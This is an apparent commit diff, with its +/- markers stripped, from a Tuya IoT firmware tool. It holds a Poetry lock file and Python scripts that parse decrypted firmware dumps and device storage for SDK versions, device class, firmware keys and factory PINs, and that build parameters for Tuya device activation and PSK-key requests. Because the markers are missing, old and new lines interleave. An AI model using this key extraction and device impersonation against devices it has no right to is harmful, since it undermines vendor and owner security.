{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"},
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"},
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"},
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"},
{file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"},
{file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"},
{file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"},
{file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"},
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"},
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"},
{file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"},
{file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"},
{file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"},
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"},
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"},
{file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"},
{file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"},
{file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"},
{file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"},
{file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"},
]
[[package]]
name = "click"
version = "8.1.8"
description = "Composable command line interface toolkit"
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"},
{file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"},
]
[package.dependencies]
colorama = {version = "*", markers = "platform_system == \"Windows\""}
[[package]]
name = "colorama"
version = "0.4.6"
description = "Cross-platform colored terminal text."
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
groups = ["main"]
files = [
{file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
{file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
]
[[package]]
name = "hexdump"
version = "3.3"
description = "dump binary data to hex format and restore from there"
optional = false
python-versions = "*"
groups = ["main"]
files = [
{file = "hexdump-3.3.zip", hash = "sha256:d781a43b0c16ace3f9366aade73e8ad3a7bd5137d58f0b45ab2d3f54876f20db"},
]
[[package]]
name = "idna"
version = "3.11"
description = "Internationalized Domain Names in Applications (IDNA)"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"},
{file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"},
]
[package.extras]
all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "importlib-metadata"
version = "8.5.0"
description = "Read metadata from Python packages"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "importlib_metadata-8.5.0-py3-none-any.whl", hash = "sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b"},
{file = "importlib_metadata-8.5.0.tar.gz", hash = "sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7"},
]
[package.dependencies]
zipp = ">=3.20"
[package.extras]
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
cover = ["pytest-cov"]
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
enabler = ["pytest-enabler (>=2.2)"]
perf = ["ipython"]
test = ["flufl.flake8", "importlib-resources (>=1.3) ; python_version < \"3.9\"", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"]
type = ["pytest-mypy"]
[[package]]
name = "ltchiptool"
version = "4.12.2"
description = "Universal flashing and binary manipulation tool for IoT chips"
optional = false
python-versions = "<4.0,>=3.7"
groups = ["main"]
files = [
{file = "ltchiptool-4.12.2-py3-none-any.whl", hash = "sha256:3e618c04275555130340d500bd4e208f80cffdebbf4f5062aba036ce0ff26b25"},
{file = "ltchiptool-4.12.2.tar.gz", hash = "sha256:f4256950f2d72d422783192ace7f9299e049f29094b686fb2e49fe06a8da02d6"},
]
[package.dependencies]
bitstruct = ">=8.1.1,<9.0.0"
bk7231tools = ">=2.0.0,<3.0.0"
click = ">=8.1.3,<9.0.0"
colorama = ">=0.4.5,<0.5.0"
hexdump = ">=3.3,<4.0"
importlib-metadata = "*"
prettytable = ">=3.3.0,<4.0.0"
py-datastruct = ">=1.0.0,<2.0.0"
pyaes = {version = ">=1.6.1,<2.0.0", markers = "platform_machine in \"armv6l,armv7l,armv8l,armv8b,aarch64\""}
pycryptodome = {version = ">=3.9.9,<4.0.0", markers = "platform_machine not in \"armv6l,armv7l,armv8l,armv8b,aarch64\""}
requests = ">=2.31.0,<3.0.0"
semantic-version = ">=2.10.0,<3.0.0"
xmodem = ">=0.4.6,<0.5.0"
ymodem = ">=1.5.1,<2.0.0"
[package.extras]
gui = ["pylnk3 (>=0.4.2,<0.5.0) ; sys_platform == \"win32\"", "pyuac (>=0.0.3,<0.0.4) ; sys_platform == \"win32\"", "pywin32 ; sys_platform == \"win32\"", "wxPython (>=4.2.0,<5.0.0)", "zeroconf (<=0.128.4)"]
[[package]]
name = "ordered-set"
version = "4.1.0"
description = "An OrderedSet is a custom MutableSet that remembers its order, so that every"
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "ordered-set-4.1.0.tar.gz", hash = "sha256:694a8e44c87657c59292ede72891eb91d34131f6531463aab3009191c77364a8"},
{file = "ordered_set-4.1.0-py3-none-any.whl", hash = "sha256:046e1132c71fcf3330438a539928932caf51ddbc582496833e23de611de14562"},
]
[package.extras]
dev = ["black", "mypy", "pytest"]
[[package]]
name = "prettytable"
version = "3.11.0"
description = "A simple Python library for easily displaying tabular data in a visually appealing ASCII table format"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "prettytable-3.11.0-py3-none-any.whl", hash = "sha256:aa17083feb6c71da11a68b2c213b04675c4af4ce9c541762632ca3f2cb3546dd"},
{file = "prettytable-3.11.0.tar.gz", hash = "sha256:7e23ca1e68bbfd06ba8de98bf553bf3493264c96d5e8a615c0471025deeba722"},
]
[package.dependencies]
wcwidth = "*"
[package.extras]
tests = ["pytest", "pytest-cov", "pytest-lazy-fixtures"]
[[package]]
name = "py-datastruct"
version = "1.0.0"
description = "Combination of struct and dataclasses for easy parsing of binary formats"
optional = false
python-versions = ">=3.7,<4.0"
groups = ["main"]
files = [
{file = "py_datastruct-1.0.0-py3-none-any.whl", hash = "sha256:4fb426956da3758f174054266cb100fb4d43907cf741b9890800aba4d6de8498"},
{file = "py_datastruct-1.0.0.tar.gz", hash = "sha256:b606e6c2b83e8bb463ab42c375d01ff457cc2552b4326cd74897e7f3b96f1b6b"},
]
[[package]]
name = "pyaes"
version = "1.6.1"
description = "Pure-Python Implementation of the AES block-cipher and common modes of operation"
optional = false
python-versions = "*"
groups = ["main"]
markers = "platform_machine in \"armv6l,armv7l,armv8l,armv8b,aarch64\""
files = [
{file = "pyaes-1.6.1.tar.gz", hash = "sha256:02c1b1405c38d3c370b085fb952dd8bea3fadcee6411ad99f312cc129c536d8f"},
]
[[package]]
name = "pycryptodome"
version = "3.20.0"
description = "Cryptographic library for Python"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
groups = ["main"]
files = [
{file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"},
{file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"},
@@ -77,6 +427,7 @@ version = "3.5"
description = "Python Serial Port Extension"
optional = false
python-versions = "*"
groups = ["main"]
files = [
{file = "pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0"},
{file = "pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb"},
@@ -85,7 +436,124 @@ files = [
[package.extras]
cp2110 = ["hidapi"]
[[package]]
name = "requests"
version = "2.32.4"
description = "Python HTTP for Humans."
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"},
{file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"},
]
[package.dependencies]
certifi = ">=2017.4.17"
charset_normalizer = ">=2,<4"
idna = ">=2.5,<4"
urllib3 = ">=1.21.1,<3"
[package.extras]
socks = ["PySocks (>=1.5.6,!=1.5.7)"]
use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
[[package]]
name = "semantic-version"
version = "2.10.0"
description = "A library implementing the 'SemVer' scheme."
optional = false
python-versions = ">=2.7"
groups = ["main"]
files = [
{file = "semantic_version-2.10.0-py2.py3-none-any.whl", hash = "sha256:de78a3b8e0feda74cabc54aab2da702113e33ac9d9eb9d2389bcf1f58b7d9177"},
{file = "semantic_version-2.10.0.tar.gz", hash = "sha256:bdabb6d336998cbb378d4b9db3a4b56a1e3235701dc05ea2690d9a997ed5041c"},
]
[package.extras]
dev = ["Django (>=1.11)", "check-manifest", "colorama (<=0.4.1) ; python_version == \"3.4\"", "coverage", "flake8", "nose2", "readme-renderer (<25.0) ; python_version == \"3.4\"", "tox", "wheel", "zest.releaser[recommended]"]
doc = ["Sphinx", "sphinx-rtd-theme"]
[[package]]
name = "urllib3"
version = "2.2.3"
description = "HTTP library with thread-safe connection pooling, file post, and more."
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"},
{file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"},
]
[package.extras]
brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""]
h2 = ["h2 (>=4,<5)"]
socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"]
zstd = ["zstandard (>=0.18.0)"]
[[package]]
name = "wcwidth"
version = "0.2.14"
description = "Measures the displayed width of unicode strings in a terminal"
optional = false
python-versions = ">=3.6"
groups = ["main"]
files = [
{file = "wcwidth-0.2.14-py2.py3-none-any.whl", hash = "sha256:a7bb560c8aee30f9957e5f9895805edd20602f2d7f720186dfd906e82b4982e1"},
{file = "wcwidth-0.2.14.tar.gz", hash = "sha256:4d478375d31bc5395a3c55c40ccdf3354688364cd61c4f6adacaa9215d0b3605"},
]
[[package]]
name = "xmodem"
version = "0.4.7"
description = "XMODEM protocol implementation."
optional = false
python-versions = "*"
groups = ["main"]
files = [
{file = "xmodem-0.4.7-py2.py3-none-any.whl", hash = "sha256:0842d2266175f01225053db721ea952b3f4b239cb3ace83c32b1daf90aa413af"},
{file = "xmodem-0.4.7-py3-none-any.whl", hash = "sha256:e6a2c7608f7b187da786c47780f8407dbc4ac2d3dfeb34fe683cc19778f01360"},
{file = "xmodem-0.4.7.tar.gz", hash = "sha256:2f1068aa8676f0d1d112498b5786c4f8ea4f89d8f25d07d3a0f293cd21db1c35"},
]
[[package]]
name = "ymodem"
version = "1.5.1"
description = "Ymodem Python3 implementation"
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "ymodem-1.5.1-py3-none-any.whl", hash = "sha256:55fccfe7243e35bc96d70d6c8778f4ddd1a23f61ea5404cf30470cc5ffe900b3"},
{file = "ymodem-1.5.1.tar.gz", hash = "sha256:e4373cd6c8d29629495dbffdd9ed187b07f27381231d55d3a137025320d5ce67"},
]
[package.dependencies]
ordered-set = ">=4.1.0"
pyserial = "*"
[[package]]
name = "zipp"
version = "3.20.2"
description = "Backport of pathlib-compatible object wrapper for zip files"
optional = false
python-versions = ">=3.8"
groups = ["main"]
files = [
{file = "zipp-3.20.2-py3-none-any.whl", hash = "sha256:a817ac80d6cf4b23bf7f2828b7cabf326f15a001bea8b1f9b49631780ba28350"},
{file = "zipp-3.20.2.tar.gz", hash = "sha256:bc9eb26f4506fda01b81bcde0ca78103b6e62f991b381fec825435c836edbc29"},
]
[package.extras]
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
cover = ["pytest-cov"]
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
enabler = ["pytest-enabler (>=2.2)"]
test = ["big-O", "importlib-resources ; python_version < \"3.9\"", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"]
type = ["pytest-mypy"]
[metadata]
lock-version = "2.0"
python-versions = ">=3.8,<4.0"
content-hash = "a522de938de15eb35fcdaf0192d1043b197535391791e52b8a13b1a72f5b41c6"
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "27c094540c425b9756a183870b9ce4c71fb5ff7c1a2079387c0dd397c0bfbdaf"

View File

@@ -4,9 +4,8 @@ from os.path import basename, dirname, exists
def name_output_file(desired_appended_name):
# File generated by bk7321tools dissect_dump
if appcode_path.endswith('app_1.00_decrypted.bin'):
return appcode_path.replace('app_1.00_decrypted.bin', desired_appended_name + ".txt")
if appcode_path.endswith('active_app.bin'):
return appcode_path.replace('active_app.bin', desired_appended_name + ".txt")
return appcode_path + "_" + desired_appended_name + ".txt"
@@ -73,6 +72,20 @@ def search_device_class_after_compiled_line():
return ''
def search_device_class_before_compiled_line():
compiled_at_string = b'Base firmware: %s:%s compiled at Date:%s Time:%s'
offset = appcode.find(compiled_at_string, 0)
if offset == -1:
return ''
offset -= 2
for _ in range(4):
after = read_between_null_or_newline(offset)
offset += len(after) + 1
if after.count('_') > 0 and after.count(' ') == 0:
return after
return ''
def search_device_class_after_chipid(chipid: str):
chipid_string = b'\0' + bytes(chipid, 'utf-8') + b'\0'
offset = appcode.find(chipid_string, 0)
@@ -87,6 +100,20 @@ def search_device_class_after_chipid(chipid: str):
return ''
def search_device_class_after_swv(swv: str):
swv_string = b'\0' + bytes(swv, 'utf-8') + b'\0'
offset = appcode.find(swv_string, 0)
if offset == -1:
return ''
offset += len(swv_string) + 1
for _ in range(3):
after = read_between_null_or_newline(offset)
offset += len(after) + 1
if after.count('_') > 0 and after.count('__') == 0 and after.count(' ') == 0:
return after
return ''
def search_swv_after_compiled_line():
compiled_at_string = b'**********[%s] [%s] compiled at %s %s**********'
offset = appcode.find(compiled_at_string, 0)
@@ -114,6 +141,19 @@ def search_swv_after_device_class(device_class):
return ''
def search_swv_before_device_class(device_class):
offset = appcode.find(bytes(device_class, 'utf-8'), 0)
if offset == -1:
return ''
offset -= 2
for _ in range(4):
after = read_between_null_or_newline(offset)
offset += len(after) + 1
if after.count('.') > 1:
return after
return ''
def search_key():
# This will only find keys with the "key" prefix.
# There are some non-standard ones out there that
@@ -128,13 +168,32 @@ def dump():
global base_name, base_folder
base_name = basename(appcode_path)[:-23]
base_folder = dirname(appcode_path)
sdk_line = ''
sdk_string = ''
if b'< TUYA IOT SDK' in appcode:
sdk_line = read_until_null_or_newline(appcode.index(b'< TUYA IOT SDK'))
sdk_version = sdk_line.split()[4].split(':')[1]
print(f"[+] SDK: {sdk_version}")
with open(name_output_file("sdk"), 'w') as f:
sdk_string = read_until_null_or_newline(appcode.index(b'< TUYA IOT SDK'))
sdk_version = sdk_string.split()[4].split(':')[1]
with open(name_output_file("sdk_version"), 'w') as f:
f.write(sdk_version)
with open(name_output_file("sdk_string"), 'w') as f:
f.write(sdk_string)
sdk_build_at = read_until_null_or_newline(appcode.index(b'< BUILD AT:'))
with open(name_output_file("sdk_build_at"), 'w') as f:
f.write(sdk_build_at)
print(f"[+] SDK Version: {sdk_version}")
print(f"[+] SDK String: {sdk_string}")
print(f"[+] SDK Build At: {sdk_build_at}")
elif b'\x002.3.0\x00' in appcode and b'\x002.5.2\x00' in appcode:
# Fix for a single case where there is no sdk line, but we know the version
sdk_version = '2.3.0'
print(f"[+] SDK: {sdk_version}")
with open(name_output_file("sdk_version"), 'w') as f:
f.write(sdk_version)
swv = None
# If swv from storage load it, otherwise search for it to use for device class searching.
if exists(name_output_file("swv")):
with open(name_output_file("swv"), 'r') as f:
swv = f.read().strip()
device_class_search_keys = [
b'oem_bk7231s_',
@@ -142,7 +201,10 @@ def dump():
b'bk7231s_',
b'oem_bk7231n_',
b'bk7231n_common_',
b'_common_ty'
b'_common_ty',
b'rtl8720cf_common_',
b'_common_lock_ty',
b'_common_user_config_ty',
]
device_class = ''
@@ -154,12 +216,18 @@ def dump():
if device_class == '':
device_class = search_device_class_after_compiled_line()
if device_class == '':
device_class = search_device_class_before_compiled_line()
if device_class == '':
device_class = search_device_class_after_chipid("bk7231n")
if device_class == '':
device_class = search_device_class_after_chipid("BK7231NL")
if device_class == '':
device_class = search_device_class_after_chipid("bk7231t")
if device_class == '':
device_class = search_device_class_after_chipid("rtl8720cf_ameba")
if device_class == '' and swv is not None:
device_class = search_device_class_after_swv(swv)
if device_class != '':
print(f"[+] Device class: {device_class}")
@@ -183,23 +251,26 @@ def dump():
else:
print("[!] Unable to determine device class, please open an issue and include the bin file.")
# If swv doesn't exist from storage
if exists(name_output_file("swv")) == False:
# If swv doesn't exist from storage loaded above
if swv is None:
swv = search_swv_after_compiled_line()
if swv == '':
swv = search_swv_after_device_class(device_class)
if swv == '':
swv = search_swv_before_device_class(device_class)
if swv != '':
print(f"[+] Version: {swv}")
with open(name_output_file("swv"), 'w') as f:
f.write(swv)
# If bv doesn't exist from storage
if exists(name_output_file("bv")) == False:
bv = sdk_line.split()[5].split('_')[0].split(':')[1]
if bv is not None and bv != '':
print(f"[+] bv: {bv}")
with open(name_output_file("bv"), 'w') as f:
f.write(bv)
if exists(name_output_file("bv")) == False and sdk_string != '':
for sdk_part in re.split(r'[ _\s]+', sdk_string):
if sdk_part.startswith('BS:'):
bv = sdk_part.split(':')[1]
print(f"[+] bv: {bv}")
with open(name_output_file("bv"), 'w') as f:
f.write(bv)
# If key doesn't exist from storage
if exists(name_output_file("firmware_key")) == False:

View File

@@ -10,7 +10,7 @@ def write_file(key, value: str):
except:
return
def dump(file):
def dump(file, process_inactive_app: bool = False):
with open(file, "r") as storage_file:
storage = json.load(storage_file)
global base_name, base_folder
@@ -32,24 +32,15 @@ def dump(file):
write_file("factory_pin", factory_pin)
# Not all firmwares have version information in storage
if 'gw_di' in storage:
if 'swv' in storage['gw_di']:
if 'swv' in storage['gw_di'] and not process_inactive_app:
print(f"[+] storage swv: {storage['gw_di']['swv']}")
write_file("swv", storage['gw_di']['swv'])
else:
print(f"[+] storage swv: 0.0.0")
write_file("swv", "0.0.0")
if 'dev_swv' in storage['gw_di']:
if 'dev_swv' in storage['gw_di'] and not process_inactive_app:
print(f"[+] storage dev_swv: {storage['gw_di']['dev_swv']}")
write_file("mcuswv", storage['gw_di']['dev_swv'])
else:
print(f"[+] storage dev_swv: 0.0.0")
write_file("mcuswv", "0.0.0")
if 'bv' in storage['gw_di']:
if 'bv' in storage['gw_di'] and not process_inactive_app:
print(f"[+] storage bv: {storage['gw_di']['bv']}")
write_file("bv", storage['gw_di']['bv'])
else:
print(f"[+] storage bv: 0.0.0")
write_file("bv", "0.0.0")
if 'firmk' in storage['gw_di'] and storage['gw_di']['firmk'] is not None:
firmware_key = storage['gw_di']['firmk']
print(f"[+] firmware key: {firmware_key}")
@@ -76,17 +67,17 @@ def dump(file):
write_file("manually_process", "No version or key stored, manual lookup required")
def run(storage_file: str):
def run(storage_file: str, process_inactive_app: bool = False):
if not storage_file:
print('Usage: python parse_storage.py <storage.json file>')
sys.exit(1)
if os.path.exists(storage_file):
dump(storage_file)
dump(storage_file, process_inactive_app)
else:
print('[!] Storage file not found')
return
if __name__ == '__main__':
run(sys.argv[1])
run(sys.argv[1], sys.argv[2])

View File

@@ -49,7 +49,7 @@ def print_and_exit(printText):
sys.exit(2)
def build_params(epoch_time, uuid):
def build_params_active(epoch_time, uuid):
params = {
"a": "tuya.device.active",
"et": 1,
@@ -61,7 +61,7 @@ def build_params(epoch_time, uuid):
return params
def build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', is_fk: bool = True):
def build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', is_fk: bool = True):
data = {
'token': reduced_token,
'softVer': software_version,
@@ -82,6 +82,26 @@ def build_data(epoch_time, reduced_token, firmware_key, product_key, software_ve
return data
def build_params_psk(epoch_time, uuid):
params = {
"a": "tuya.device.uuid.pskkey.get",
"et": 1,
"t": epoch_time,
